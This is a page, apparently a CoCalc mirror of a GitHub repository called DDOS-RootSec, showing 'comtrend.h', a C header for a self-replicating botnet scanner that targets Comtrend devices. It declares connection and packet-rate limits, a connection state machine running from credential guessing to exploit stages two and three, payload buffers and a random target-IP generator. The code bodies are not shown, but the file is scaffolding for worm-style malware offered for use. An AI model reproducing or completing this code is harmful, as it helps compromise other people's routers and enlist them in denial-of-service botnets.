Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Self Reps/Comtrend/comtrend.h
5038 views
1
#ifdef SELFREP
2
3
#pragma once
4
5
#include <stdint.h>
6
7
#include "includes.h"
8
9
#define comtrend_SCANNER_MAX_CONNS 256
10
#define comtrend_SCANNER_RAW_PPS 1024
11
12
#define comtrend_SCANNER_RDBUF_SIZE 1080
13
#define comtrend_SCANNER_HACK_DRAIN 64
14
15
struct comtrend_scanner_connection
16
{
17
int fd, last_recv;
18
enum
19
{
20
comtrend_SC_CLOSED,
21
comtrend_comtrend_SC_CONNECTING,
22
comtrend_SC_GET_CREDENTIALS,
23
comtrend_SC_EXPLOIT_STAGE2,
24
comtrend_SC_EXPLOIT_STAGE3,
25
} state;
26
ipv4_t dst_addr;
27
uint16_t dst_port;
28
int rdbuf_pos;
29
char rdbuf[comtrend_SCANNER_RDBUF_SIZE];
30
char **credentials;
31
char payload_buf[256], payload_buf2[256];
32
int credential_index;
33
};
34
35
void comtrend_scanner();
36
void comtrend_kill(void);
37
38
static void comtrend_setup_connection(struct comtrend_scanner_connection *);
39
static ipv4_t get_random_comtrend_ip(void);
40
41
#endif
42
43